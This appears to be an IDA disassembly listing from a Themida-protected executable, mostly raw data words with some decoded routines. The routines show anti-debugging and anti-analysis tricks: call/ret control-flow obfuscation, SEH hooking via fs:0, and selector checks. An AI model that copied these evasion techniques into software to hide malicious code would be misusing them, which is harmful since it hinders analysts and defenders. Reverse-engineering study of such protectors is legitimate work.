		dd 0BD858900h, 906120Eh, 1225E1B5h, 89D0FF06h, 1223F59Dh
		dd 0B1C08B06h, 1BD83CAh, 6122Fh, 0BD830975h, 6122149h
		dd 50197400h, 0B8C08B53h, 7D8h,	0B358589h, 9D8D0612h, 614AD09h
		dd 585BD3FFh, 2149BD83h, 74000612h, 0B8535017h,	7D8h, 0B358589h
		dd 9D8D0612h, 614A9F8h,	585BD3FFh, 1D719501h, 85890612h
		dd 61233F1h, 3820Fh, 0BF0F0000h, 8BC08BCBh, 3F68FAh, 8960000Fh
		dd 12109195h, 0BDB86606h, 0B501612Eh, 6121B05h,	958B006Ah
		dd 61208BDh, 0BD0B006Ah, 6120B39h, 1CA195FFh, 95890612h
		dd 6120B39h, 0BD03C085h, 6120049h, 0F7838589h, 0BA660614h
		dd 0D78B0CBCh, 0F01FF68h, 0C2EF8100h, 836C2DEAh, 121DC5BDh
		dd 840F0006h, 14h, 49958Bh, 0E1800612h,	0E0858D15h, 0E90614F7h
		dd 8, 0F7B6858Dh, 57B60614h, 2D952B50h,	0BF061229h, 6545234Fh
		dd 0F783B5FFh, 0BD890614h, 6122CD1h, 0F77B95FFh, 0DE90614h
		dd 0B9000000h, 11F86549h, 0CE0B5038h, 0EE1CA13Ch, 0F7878589h
		dd 880F0614h, 8, 0F1BD0960h, 6106122Eh,	0EE8h, 67403300h
		dd 4EAD6BDAh, 0E7B94EFFh, 668D7FFAh, 5FF6BABAh,	26ED85C7h
		dd 612h, 0BD8B0000h, 61230A5h, 0F787BD83h, 0F000614h, 19B84h
		dd 0B2C98100h, 8D736E58h, 14FA6585h, 0DD8D3306h, 0E906121Dh
		dd 0Ah,	0CE512F07h, 0BA40B02Ah,	8150642Ah, 218362DAh, 0ECBA6652h
		dd 89016AB0h, 121A9585h, 87B5FF06h, 890614F7h, 1207CD8Dh
		dd 7F95FF06h, 0F90614F7h, 0F787B5FFh, 9D010614h, 6122899h
		dd 303DBD03h, 95FF0612h, 612278Dh, 2FF59589h, 0FF680612h
		dd 89000F01h, 122D49BDh, 71958B06h, 83061223h, 121DC5BDh
		dd 840F0006h, 5Eh, 9F68EF81h, 858D5AB4h, 614F7E0h, 158B0Fh
		dd 0EE80000h, 97000000h, 7427491Bh, 82525936h, 29EF095Ah
		dd 0E95FF51Fh, 40h, 6E8h, 3458F000h, 0E81B090Eh, 8, 80CB6C66h
		dd 14EB8576h, 0CE8h, 28957700h,	86A82B8Eh, 0EDD001F6h
		dd 5A595AEDh, 17118D23h, 858D0612h, 614F7B6h, 9D89D78Bh
		dd 61211D9h, 5860F50h, 66000000h, 6AE6D781h, 0F783B5FFh
		dd 0D2810614h, 0EA30688h, 0F77B95FFh, 0FE90614h, 30000000h
		dd 8C19038Eh, 7B462C1Bh, 7A44F6A3h, 85891E4Fh, 614F787h
		dd 8D1BD8Bh, 0B5FF0612h, 614F787h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0ABC35545h,	0F855FFBBh, 0A8E169E1h
		dd 0B4BF66ECh, 14E87Eh,	59D50000h, 80666FB7h, 8B56B2BBh
		dd 8EEE2875h, 0E1EC9D1h, 0BB23853h, 7795FF5Ah, 660614F7h
		dd 0BDFCCF81h, 0F787B5FFh
		dd 85890614h, 61224A1h,	278D95FFh, 8D8B0612h, 6121A7Dh
		dd 0FFF6F3E9h, 0A6C6BAFFh, 0B5FF5B8Eh, 61502D0h, 118DB589h
		dd 0F08A0612h, 278195FFh, 0C2810612h, 7F0FA501h, 6DF8160h
		dd 8B1F96ABh, 1211A1BDh, 858B6106h, 6120055h, 7D8D8B60h
		dd 0E9061225h, 6, 0A47ED2E7h, 0E96107A9h, 53Ch,	1F81B589h
		dd 10E90612h, 0ED000000h, 4D3EB516h, 0C3D68D7Eh, 0CB777D2Fh
		dd 8DB32EADh, 14FA85B5h, 858DF806h, 614A6D0h, 3359D89h
		dd 0D0FF0612h, 13B58589h, 6A0612h, 2AC5BD8Bh, 95FF0612h
		dd 6122E3Dh, 8E78166h, 56F38BF5h, 0F118589h, 8D590612h
		dd 14A6D085h, 68C0F06h,	2B000000h, 1227E5BDh, 0FD0FF06h
		dd 88Bh, 28F0F00h, 57000000h, 7256BA5Ah, 6A781Eh, 6820Fh
		dd 0EA810000h, 17D47CFCh, 2E3D95FFh, 0BD8B0612h, 6122425h
		dd 7E9C08Bh, 2D000000h,	0E6BB443Dh, 0BD838C4Ah,	6122F01h
		dd 83097500h, 122149BDh, 19740006h, 0C08B5350h,	7D9B8h
		dd 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h, 49BD8358h
		dd 61221h, 53501774h, 7D9B8h, 35858900h, 8D06120Bh, 14A9F89Dh
		dd 5BD3FF06h, 13E858h, 924F0000h, 6629F4CFh, 2229982Ah
		dd 9C7E224h, 83D80CB2h,	0B1B58930h, 5A061211h, 25D5B589h
		dd 0C08B0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0B0C35646h, 72B966BFh, 91BD8BDBh, 5006121Dh, 0D88B00B2h
		dd 2465B529h, 8D530612h, 1224E59Dh, 89038B06h, 50438B03h
		dd 8D504389h, 1502699Dh, 89038B06h, 8D8B5B03h, 612082Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0FAC35646h
		dd 52E2798Bh, 0A6CA8151h, 5A6ABDE4h, 8B006A59h,	121AE58Dh
		dd 69858D06h, 89061502h, 1216A59Dh, 85295006h, 61227C5h
		dd 25E3DF81h, 606A3AA4h, 6880Fh, 8D8B0000h, 612146Dh, 33518D8Bh
		dd 858D0612h, 61224E5h,	0BD0150F5h, 61214B1h, 8589006Ah
		dd 61231E9h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 35BA0EC3h, 680677CBh, 1800h, 59BD8BFCh
		dd 5306120Ch, 2FF59529h, 95FF0612h, 612165Dh, 0CA5958Bh
		dd 95FF0612h, 6121BB1h,	2CB19589h, 0B5FF0612h, 61502D0h
		dd 861B589h, 95FF0612h,	6122781h, 16018D8Bh, 8B660612h
		dd 0E5858DF8h, 3061224h, 1228EDBDh, 0CEBF0F06h,	6A18408Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 667EC351h, 553D281h, 87EDBA66h, 158585C7h
		dd 612h, 958B0000h, 61215A5h, 1DC5BD83h, 0F000612h, 3A84h
		dd 5FF55300h, 8C3Dh, 0FA830F00h, 29000001h, 122CA595h
		dd 38E906h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 160424h, 57470000h, 2ACC21C3h, 3DDED680h, 98h, 1C3830Fh
		dd 830F0000h, 6, 2F399531h, 858D0612h, 5B243Bh,	10E9h
		dd 0EB142800h, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 6AD0FFCAh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5DF2C351h, 9661F10h, 122AC195h, 8E858D06h
		dd 8B005B1Eh, 121745BDh, 6AD0FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C353C355h
		dd 0DEDAA05Ah, 0C08BDC86h, 11E9h, 2EBC8C00h, 0CF803AACh
		dd 0AF3F7B72h, 0AED53236h, 0C88BDCDAh, 2F01BD83h, 75000612h
		dd 49BD8309h, 61221h, 53501974h, 0C6B8C08Bh, 8900000Bh
		dd 120B3585h, 99D8D06h,	0FF0614ADh, 83585BD3h, 122149BDh
		dd 17740006h, 0C6B85350h, 8900000Bh, 120B3585h,	0F89D8D06h
		dd 0FF0614A9h, 29585BD3h, 12296D95h, 9D89FC06h,	61218BDh
		dd 0DE9h, 4FFCA200h, 0CA5BFB00h, 0CD2DDBDh, 0C08B4EF8h
		dd 68B0Fh, 0BD290000h, 6121C99h, 0FFFF883h, 4C85h, 0FE900h
		dd 185D0000h, 6CD27D80h, 1971F497h, 695D5572h, 6D85C715h
		dd 61200h, 0B5000000h, 0FCE9F4h, 11E90000h, 5E000000h
		dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 60E9h
		dd 6870F00h, 89000000h,	1233E98Dh, 1F88306h, 4B850Fh, 13E80000h
		dd 6C000000h, 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh
		dd 0F88B653Ch, 0CEE959h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0D170F2C3h, 0FFBD8C3Bh
		dd 1E51A27h, 12130585h,	0F20AE906h, 8B66FFFFh, 83C08BCBh
		dd 122F01BDh, 9750006h,	2149BD83h, 74000612h, 8B535019h
		dd 7DDB8C0h, 85890000h,	6120B35h, 0AD099D8Dh, 0D3FF0614h
		dd 0BD83585Bh, 6122149h, 50177400h, 7DDB853h, 85890000h
		dd 6120B35h, 0A9F89D8Dh, 0D3FF0614h, 11E9585Bh,	5E000000h
		dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 0DAD98166h
		dd 66C08B75h, 0E9CAF0BFh, 250h,	14958D8Bh, 858D0612h, 615006Dh
		dd 1C999D01h, 85890612h, 6150265h, 6AEA8166h, 4FE979h
		dd 8D890000h, 61225ADh,	0FE75858Dh, 40F80614h, 2DE1BD8Bh
		dd 85890612h, 6150265h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 48C35646h, 5C51CD80h,	10E9h, 0AA785A00h
		dd 73ABE989h, 5D4089F3h, 973EBF26h, 8D346A46h, 121BCD85h
		dd 0B5FF5006h, 6150265h, 95FF006Ah, 6122D09h, 0F07F883h
		dd 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 0C185C600h, 56061215h
		dd 0A8B85268h, 0F1B5FF9Ch, 8D061217h, 123B4885h, 6AD0FF06h
		dd 10006804h, 646A0000h, 0D0FF006Ah, 2D88589h, 85C60615h
		dd 61215C1h, 0AC9B6847h, 0B5FFEC18h, 61217F1h, 3B48858Dh
		dd 0D0FF0612h, 0F08BD0FFh, 15C185C6h, 684F0612h, 0C62F2661h
		dd 2FD1B5FFh, 858D0612h, 6123B48h, 9D8DD0FFh, 61502D4h
		dd 56286A53h, 0C085D0FFh, 85C60075h, 61215C1h, 64986841h
		dd 0B5FFDB87h, 6122FD1h, 3B48858Dh, 0D0FF0612h,	2F18589h
		dd 85C60615h, 61215C1h,	0E7A4684Ch, 0B5FF80A4h,	6122FD1h
		dd 3B48858Dh, 0D0FF0612h, 2D89D8Bh, 5B8D0615h, 9D8D5304h
		dd 61502DDh, 0FF006A53h, 0D89D8BD0h, 0C7061502h, 103h
		dd 0C43C700h, 2, 2A1D9D8Bh, 85C70612h, 612072Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	0
		mov	ebx, [ebp+61502D8h]
		push	ebx
		push	0
		push	dword ptr [ebp+61502D4h]
		call	dword ptr [ebp+61502F1h]
		mov	byte ptr [ebp+61215C1h], 45h
		push	92A5F797h
		push	dword ptr [ebp+612335Dh]
		lea	eax, [ebp+6123B48h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_5AED4D
		mov	ebx, [ebp+61502D8h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+61502D8h]
		push	ebx
		push	0
		push	dword ptr [ebp+61502D4h]
		call	dword ptr [ebp+61502F1h]
		push	dword ptr [ebp+61502D4h]
		call	dword ptr [ebp+6121BB1h]


loc_5AED4D:				; CODE XREF: Themida_:005AED19j
		push	0
		call	dword ptr [ebp+6122E3Dh]
		push	0
		push	edi
		call	sub_5AED60
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AED60	proc near		; CODE XREF: Themida_:005AED58p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5AED60	endp

; ---------------------------------------------------------------------------
		push	esi
		fcomi	st, st(4)
		adc	eax, 7AEA8046h
		push	0
		push	eax
		call	sub_5AED83
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AED83	proc near		; CODE XREF: Themida_:005AED7Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5AED83	endp

; ---------------------------------------------------------------------------
		test	ds:6D9D89C6h, ebp
		daa
		fcom	dword ptr [edx+esi*4-4E62D629h]
		adc	[edx], edx
		push	es


loc_5AEDA4:				; CODE XREF: Themida_:loc_5AD45Dj
		lea	eax, [ebp+61533D2h]
		mov	edi, [ebp+61216EDh]
		push	eax
		push	large dword ptr	fs:0
		mov	[ebp+6122121h],	ecx
		mov	large fs:0, esp
		or	ecx, 4E47C210h
		cmp	dword ptr [ebp+6122EEDh], 0
		jz	loc_5AEE4D
		push	0
		push	eax
		call	sub_5AEDE3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEDE3	proc near		; CODE XREF: Themida_:005AEDDBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5AEDE3	endp

; ---------------------------------------------------------------------------
		fstp9	st(4)
		push	es
		mov	[ebp+6121645h],	edi
		cmp	dword ptr [ebp+6120EE9h], 1
		jnz	loc_5AEE4D
		push	0
		push	ebp
		call	sub_5AEE14
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEE14	proc near		; CODE XREF: Themida_:005AEE0Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5AEE14	endp

; ---------------------------------------------------------------------------
		dd 329FE5CFh, 3E62A2BFh, 8091B11Eh, 1506F1BDh, 850F0006h
		dd 11h,	6860Fh,	0BD8B0000h, 6121ABDh, 116E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AEE4D:				; CODE XREF: Themida_:005AEDD2j
					; Themida_:005AEE03j
		xor	ebx, ebx
		sub	[ebp+61221D5h],	ecx
		xor	eax, eax
		jmp	loc_5AEE67
; ---------------------------------------------------------------------------
		shr	al, 1
		lodsd
		popf
		test	eax, 8713F2CEh
		retf
; ---------------------------------------------------------------------------
		popf


loc_5AEE67:				; CODE XREF: Themida_:005AEE57j
		inc	eax
; ---------------------------------------------------------------------------
		dd 0B073F0Fh, 58F64h, 83000000h, 8B6604C4h, 0FFFB83D3h
		dd 1D840Fh, 8C0F0000h, 6, 0E564E181h, 0C6E937D4h, 0F000000h
		dd 683h, 0A5858900h, 0E9061221h, 53h, 9DB53156h, 59061214h
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 1533F4EDh, 0B8838B06h
		dd 8D000000h, 15348985h, 0B8838906h, 5D000000h,	81C3C033h
		dd 7C085EC7h, 595091Ah,	8D061231h, 1533EA85h, 8D8B6006h
		dd 61218BDh, 870Fh, 50610000h, 7299501h, 0FF640612h, 35h
		dd 6E900h, 96840000h, 8678E8Ch,	258964h, 89000000h, 12118D8Dh
		dd 0AB906h, 4B80000h, 54855D7h,	0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 6585C70Ah
		dd 1061221h, 64000000h,	58Fh, 0C4830000h, 95958B04h, 0E9061224h
		dd 9, 0C6AF0F19h, 342CD1FBh, 0FC08BC2h,	0BD83D3B7h, 6122F01h
		dd 83097500h, 122149BDh, 19740006h, 0C08B5350h,	43DB8h
		dd 0B9858900h, 8D061202h, 14AD709Dh, 5BD3FF06h,	49BD8358h
		dd 61221h, 53501774h, 43DB8h, 0B9858900h, 8D061202h, 14AA119Dh
		dd 5BD3FF06h, 9E858h, 0D740000h, 0B98AB433h, 89FDE05Bh
		dd 122ED1BDh, 8B0F5F06h, 6, 361BD8Bh, 0C08B0612h, 147E9h
		dd 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 8B9BD83h, 0F000612h
		dd 12D84h, 28858D00h, 500614A8h, 0A792858Dh, 68500614h
		dd 80000001h, 0A83895FFh, 858D0614h, 615351Fh, 29858D50h
		dd 50061535h, 6A006Ah, 0A7A6858Dh, 0FF500614h, 14A828B5h
		dd 6995FF06h, 8D061214h, 15351F85h, 858D5006h, 615352Dh
		dd 6A006A50h, 0B8858D00h, 500614A7h, 0A828B5FFh, 95FF0614h
		dd 6121469h, 351F858Dh,	8D500615h, 15353985h, 6A5006h
		dd 858D006Ah, 614A805h,	28B5FF50h, 0FF0614A8h, 12146995h
		dd 1F858D06h, 50061535h, 3541858Dh, 6A500615h, 8D006A00h
		dd 14A82385h, 0B5FF5006h, 614A828h, 146995FFh, 858D0612h
		dd 615351Fh, 3D858D50h,	50061535h, 6A006Ah, 0A80C858Dh
		dd 0FF500614h, 14A828B5h, 6995FF06h, 8D061214h,	15351F85h
		dd 858D5006h, 6153531h,	6A006A50h, 14858D00h, 500614A8h
		dd 0A828B5FFh, 95FF0614h, 6121469h, 351F858Dh, 8D500615h
		dd 15353585h, 6A5006h, 858D006Ah, 614A81Bh, 28B5FF50h
		dd 0FF0614A8h, 12146995h, 28B5FF06h, 0FF0614A8h, 12267195h
		dd 0A2E906h, 0BD830000h, 61217D9h, 95840F00h, 83000000h
		dd 120EE9BDh, 850F0006h, 11h, 12C1958Bh, 0C2810612h, 1CF8h
		dd 0FE9h, 0E5958D00h, 8B061224h, 0C2813452h, 3BD4C340h
		dd 13F19589h, 0BD830612h, 61213F1h, 55840F00h, 8B000000h
		dd 1213F19Dh, 4CC38306h, 8589038Bh, 6153529h, 13F19D8Bh
		dd 0C3830612h, 89038B50h, 15352D85h, 0F19D8B06h, 83061213h
		dd 38B54C3h, 35398589h,	9D8B0615h, 61213F1h, 8B58C383h
		dd 3D858903h, 8B061535h, 1213F19Dh, 5CC38306h, 8589038Bh
		dd 6153531h, 8B9BD83h, 0F000612h, 0D85h, 0D9BD8300h, 61217h
		dd 68840Fh, 0B5FF0000h,	6153541h, 3535B5FFh, 0B5FF0615h
		dd 6153531h, 353DB5FFh,	0B5FF0615h, 6153539h, 352DB5FFh
		dd 0B5FF0615h, 6153529h, 3523858Dh, 8D500615h, 15355B85h
		dd 858D5006h, 612091Dh,	2195FF50h, 83061213h, 406A24C4h
		dd 3545858Dh, 8D500615h, 12091D85h, 6A5006h, 2D0995FFh
		dd 16A0612h, 2E3D95FFh,	0C18B0612h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 61538EFh
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 27B58BFFh, 81061539h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 2BB53B00h, 0F061539h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 13F1858Bh, 18860612h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 995FF08h,	50061216h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 13F1858Bh, 0C60612h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 61213F1h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61210A5h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5AF50B
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+61210A5h], 100h


loc_5AF50B:				; CODE XREF: Themida_:005AF4FCj
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 0CC85C700h, 1061538h, 50000000h, 244C010Fh, 0D0858FFEh
		dd 8D061538h, 1538C885h, 0D0BD8D06h, 89061538h,	23E938h
		dd 858D0000h, 61224E5h,	538408Bh, 9B46F317h, 38C88589h
		dd 858D0615h, 61224E5h,	893C408Bh, 1538CC85h, 0E5858D06h
		dd 89061538h, 12160985h, 87E906h, 8B520000h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
		dd 728BDB33h, 0C4A8B08h, 13E9h,	2D3CAC00h, 0A840Fh, 98040000h
		dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
		dd 8C25A5Eh, 58858D00h,	8906153Bh, 121FDD85h, 80858D06h
		dd 8906153Bh, 122FF185h, 0A8858D06h, 8906153Bh,	12237D85h
		dd 9E806h, 0F77F0000h, 88670EAAh, 5ED4EC77h, 0E8CB8166h
		dd 0EDC68122h, 2B00006Ah, 0C820FC9h, 0E9000000h, 7, 0D67CFC69h
		dd 8BC0E93Ch, 830F0E14h, 1, 2BEA81F9h, 602D805Ah, 0A1A3BB66h
		dd 0F63C0DBEh, 0EA81612Eh, 5C5E28F2h, 38F0Fh, 0BF0F0000h
		dd 0EC281DEh, 52060FC1h, 800Fh,	48F0000h, 6E90Eh, 98AF0000h
		dd 774DE174h, 6E8h, 0AB919B00h,	0F55FFBBh, 287h, 585F5000h
		dd 6602E983h, 493B2AB8h, 0C1BF0F49h, 95ACF981h,	850FFFFFh
		dd 0FFFFFF8Fh, 60DEBF0Fh, 8BCBB70Fh, 83CE8BC0h,	122F01BDh
		dd 9750006h, 2149BD83h,	74000612h, 8B535019h, 40EB8C0h
		dd 85890000h, 6120B35h,	0AD099D8Dh, 0D3FF0614h,	0BD83585Bh
		dd 6122149h, 50177400h,	40EB853h, 85890000h, 6120B35h
		dd 0A9F89D8Dh, 0D3FF0614h, 820F585Bh, 0Bh, 5820Fh, 81660000h
		dd 0E9D450EAh, 6, 0A862F4B2h, 0C08B9B57h, 83D1B70Fh, 122EEDBDh
		dd 840F0006h, 0Ch, 0B9DA8166h, 2B2E969h, 0C9B10000h, 6ADF8Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 67BFBC3h, 5E9h, 795A9200h, 0F7662FF3h, 0F0004C7h, 27B85h
		dd 0BE900h, 0C1E70000h,	4795E409h, 1C2337C4h, 0C5BD8390h
		dd 6121Dh, 4D850Fh, 890F0000h, 6, 4BA1CE81h, 12E923BBh
		dd 4D000000h, 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh
		dd 236E927h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 8314DC3h, 493664DEh, 0BF038934h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5AF8BB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF8BB	proc near		; CODE XREF: Themida_:005AF8B3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5AF8BB	endp

; ---------------------------------------------------------------------------
		xor	[esi+edx*8], cl
		lea	ebx, [ebp+6153F6Eh]
		mov	dh, 3Ch
		jmp	loc_5AF8E8
; ---------------------------------------------------------------------------
		db 2Eh
		dd 1202D0D0h, 0F056A975h, 0B6F34A67h
; ---------------------------------------------------------------------------


loc_5AF8E8:				; CODE XREF: Themida_:005AF8D6j
		push	eax
		mov	ch, 0E7h
		mov	[esp], ebx
		push	0
		push	ebx
		call	sub_5AF8F9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF8F9	proc near		; CODE XREF: Themida_:005AF8F1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5AF8F9	endp

; ---------------------------------------------------------------------------
		db 0B4h, 0ACh, 18h
		dd 664A8ED9h, 0FF64F08Bh, 35h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 76E12F17h
		dd 25896434h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5AF94B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AF94B	proc near		; CODE XREF: Themida_:005AF943p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5AF94B	endp

; ---------------------------------------------------------------------------
		db 0F3h
		dd 60BDA5FDh, 0F28B66F5h, 52C48B61h, 5C18166h, 1CD5EE6h
		dd 89B900EBh, 661BA518h, 8F64D68Bh, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 2405208Dh, 0CE9FFh, 0C58D0000h, 0AEFF6E19h, 6E7555Ch
		dd 0C483E015h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 9A542036h, 0AE9E243h
		dd 6D000000h, 0BE944B4Fh, 0AC290A6Dh, 0FC00BBFh, 0CF84h
		dd 7E900h, 0C1B30000h, 19C6BD5Dh, 0BA5361E9h, 48580D13h
		dd 0F5805659h, 0BD8D5959h, 6127308h, 5E956h, 37A0000h
		dd 5E78A3A5h, 1B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 602DC2C6h, 0FD78B66h
		dd 0FF61D7BFh, 0CEB70FE7h, 245C8B57h, 0B8838B10h, 0F000000h
		dd 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h, 335F0200h
		dd 13E8C3C0h, 0DB000000h, 401B705Ch, 0A2AA8BFh,	55F37F80h
		dd 47740614h, 5EF5740Dh, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BE1FD8B8h, 7E8h, 8756B00h
		dd 0B2211CA2h, 5800Fh, 0BDB90000h, 5E33F8CEh, 0E8D18B61h
		dd 14h,	0AED2773Eh, 0EBF97399h,	0D09C808h, 7C5FBEF6h, 0E40604ABh
		dd 4E28166h, 0C08B5943h, 0CA816660h, 0B8514DD8h, 44F23EC7h
		dd 0BD83615Ah, 6122F01h, 83097500h, 122149BDh, 19740006h
		dd 0C08B5350h, 40EB8h, 0B9858900h, 8D061202h, 14AD709Dh
		dd 5BD3FF06h, 49BD8358h, 61221h, 53501774h, 40EB8h, 0B9858900h
